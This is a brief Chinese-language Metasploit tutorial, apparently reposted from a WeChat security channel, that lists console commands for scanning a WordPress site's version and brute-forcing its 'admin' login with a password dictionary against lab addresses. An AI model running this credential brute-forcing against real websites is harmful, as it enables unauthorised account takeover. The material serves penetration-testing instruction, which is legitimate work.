Metasploit6.0系列教程 爆破WordPress网站

一、使用Metasploit自动探索版本信息

1、search wordpress type auxiliary

2、随便选择一个

use 1

3、查看需要设置的参数，需要设置RHOSTS，设置为目标地址

show options

set  RHOSTS 192.168.139.133

4、运行run

二、使用Metasploit进行枚举

1、选择要用的模块

use auxiliary/scanner/http/wordpress_login_enum

2、查看需要设置的模块

show options

3、设置目标主机

set RHOSTS 192.168.1.111

2、设置目标主机端口号

set RPORT 8080

3、设置用户为admin

set username admin

4、设置密码为一个字典

set pass_file /home/aiyou/桌面/pass

5、run运行

该系列教程内容参考自华章IT出版的《Web渗透测试实战：基于Metasploit 5.0》

禁止非法，后果自负

欢迎关注公众号：web安全工具库

欢迎关注视频号：之乎者也吧

原文始发于微信公众号（web安全工具库）：Metasploit6.0系列教程 -- 爆破WordPress网站